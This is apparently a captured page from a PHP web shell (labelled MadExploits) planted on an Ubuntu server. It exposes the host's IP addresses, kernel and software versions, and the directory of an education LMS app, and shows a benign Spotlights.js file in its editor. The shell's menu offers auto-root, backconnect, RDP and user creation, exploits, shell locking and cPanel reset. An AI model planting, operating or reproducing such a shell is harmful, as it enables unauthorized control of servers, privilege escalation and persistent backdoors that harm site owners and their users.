Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.52
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
edu-lms /
app /
edusewa /
[ HOME SHELL ]
Name
Size
Permission
Action
__tests__
[ DIR ]
drwxr-xr-x
actions
[ DIR ]
drwxr-xr-x
components
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
reducers
[ DIR ]
drwxr-xr-x
translations
[ DIR ]
drwxr-xr-x
Logger.js
768
B
-rw-r--r--
RoomClient.js
86.54
KB
-rw-r--r--
RoomContext.js
335
B
-rw-r--r--
ScreenShare.js
4.17
KB
-rw-r--r--
Spotlights.js
3.91
KB
-rw-r--r--
deviceInfo.js
811
B
-rw-r--r--
electron-starter.js
885
B
-rw-r--r--
electron-wait-react.js
774
B
-rw-r--r--
index.css
822
B
-rw-r--r--
index.js
7.68
KB
-rw-r--r--
permissions.js
1.08
KB
-rw-r--r--
serviceWorker.js
2.04
KB
-rw-r--r--
store.js
1.33
KB
-rw-r--r--
urlFactory.js
381
B
-rw-r--r--
utils.js
712
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Spotlights.js
import { EventEmitter } from 'events'; import Logger from './Logger'; const logger = new Logger('Spotlight'); export default class Spotlights extends EventEmitter { constructor(maxSpotlights, signalingSocket) { super(); this._signalingSocket = signalingSocket; this._maxSpotlights = maxSpotlights; this._peerList = []; this._selectedSpotlights = []; this._currentSpotlights = []; this._started = false; } start() { this._handleSignaling(); this._started = true; this._spotlightsUpdated(); } addPeers(peers) { for (const peer of peers) { this._newPeer(peer.id); } } peerInSpotlights(peerId) { if (this._started) { return this._currentSpotlights.indexOf(peerId) !== -1; } else { return false; } } addPeerToSpotlight(peerId) { logger.debug('addPeerToSpotlight() [peerId:"%s"]', peerId); this._selectedSpotlights = [ ...this._selectedSpotlights, peerId ]; if (this._started) this._spotlightsUpdated(); } removePeerSpotlight(peerId) { logger.debug('removePeerSpotlight() [peerId:"%s"]', peerId); this._selectedSpotlights = this._selectedSpotlights.filter((peer) => peer !== peerId); if (this._started) this._spotlightsUpdated(); } _handleSignaling() { this._signalingSocket.on('notification', (notification) => { if (notification.method === 'newPeer') { const { id } = notification.data; this._newPeer(id); } if (notification.method === 'peerClosed') { const { peerId } = notification.data; this._closePeer(peerId); } }); } clearSpotlights() { this._started = false; this._peerList = []; this._selectedSpotlights = []; this._currentSpotlights = []; } _newPeer(id) { logger.debug( 'room "newpeer" event [id: "%s"]', id); if (this._peerList.indexOf(id) === -1) // We don't have this peer in the list { logger.debug('_handlePeer() | adding peer [peerId: "%s"]', id); this._peerList.push(id); if (this._started) this._spotlightsUpdated(); } } _closePeer(id) { logger.debug( 'room "peerClosed" event [peerId:%o]', id); this._peerList = this._peerList.filter((peer) => peer !== id); this._selectedSpotlights = this._selectedSpotlights.filter((peer) => peer !== id); if (this._started) this._spotlightsUpdated(); } addSpeakerList(speakerList) { this._peerList = [ ...new Set([ ...speakerList, ...this._peerList ]) ]; if (this._started) this._spotlightsUpdated(); } handleActiveSpeaker(peerId) { logger.debug('handleActiveSpeaker() [peerId:"%s"]', peerId); const index = this._peerList.indexOf(peerId); if (index > -1) { this._peerList.splice(index, 1); this._peerList = [ peerId ].concat(this._peerList); this._spotlightsUpdated(); } } _spotlightsUpdated() { let spotlights; const maxSpotlights = this._selectedSpotlights.length > this._maxSpotlights ? this._selectedSpotlights.length : this._maxSpotlights; if (this._selectedSpotlights.length > 0) { spotlights = [ ...new Set([ ...this._selectedSpotlights, ...this._peerList ]) ]; } else { spotlights = this._peerList; } if ( !this._arraysEqual( this._currentSpotlights, spotlights.slice(0, maxSpotlights) ) ) { logger.debug('_spotlightsUpdated() | spotlights updated, emitting'); this._currentSpotlights = spotlights.slice(0, maxSpotlights); this.emit('spotlights-updated', this._currentSpotlights); } else logger.debug('_spotlightsUpdated() | spotlights not updated'); } _arraysEqual(arr1, arr2) { if (arr1.length !== arr2.length) return false; for (let i = arr1.length; i--;) { if (arr1[i] !== arr2[i]) return false; } return true; } get maxSpotlights() { return this._maxSpotlights; } set maxSpotlights(maxSpotlights) { const oldMaxSpotlights = this._maxSpotlights; this._maxSpotlights = maxSpotlights; if (oldMaxSpotlights !== this._maxSpotlights) this._spotlightsUpdated(); } }
Close